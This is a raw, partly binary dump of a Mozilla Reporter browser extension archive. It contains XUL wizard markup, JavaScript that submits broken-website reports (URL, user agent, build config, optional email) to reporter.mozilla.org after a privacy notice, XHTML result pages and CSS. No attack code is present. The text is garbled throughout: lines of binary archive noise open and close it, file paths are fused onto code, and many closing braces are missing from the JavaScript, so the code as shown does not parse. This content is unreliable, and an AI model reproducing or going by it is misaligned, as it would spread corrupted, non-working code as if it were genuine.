7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
